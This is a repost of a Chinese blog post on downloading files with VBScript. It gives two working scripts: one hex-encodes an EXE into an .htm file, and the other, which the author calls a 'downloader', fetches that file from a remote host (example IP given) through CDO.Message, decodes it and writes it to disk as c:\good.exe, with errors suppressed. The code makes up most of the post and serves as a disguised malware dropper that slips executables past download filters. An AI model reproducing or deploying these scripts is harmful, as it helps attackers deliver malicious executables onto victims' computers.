溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

VBS如何下載文件

發(fā)布時(shí)間:2021-10-12 10:15:20 來源:億速云 閱讀:320 作者:小新 欄目:開發(fā)技術(shù)

這篇文章給大家分享的是有關(guān)VBS如何下載文件的內(nèi)容。小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考,一起跟隨小編過來看看吧。

BLOG備份腳本時(shí)發(fā)現(xiàn) CDO.MESSAGE可以訪問網(wǎng)絡(luò)下載東西,說是研究研究或許可以用來當(dāng)下載者用。
于是研究了一會(huì)。寫出個(gè)粗糙的DEMO。
exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉(zhuǎn)成十六進(jìn)制
================================================

代碼如下:


'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打開錯(cuò)誤!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function


======================================
下載者 down.vbs
=============
[code]
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
==================================
demo.htm內(nèi)容時(shí)用exe2hex.vbs轉(zhuǎn)EXE后獲得的
使用方法:
1.exe2hex.vbs 把exe轉(zhuǎn)成十六進(jìn)制,放到網(wǎng)絡(luò)上
2.down.vbs http://xxx/demo.htm c:\good.exe

感謝各位的閱讀!關(guān)于“VBS如何下載文件”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,讓大家可以學(xué)到更多知識(shí),如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到吧!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

vbs
AI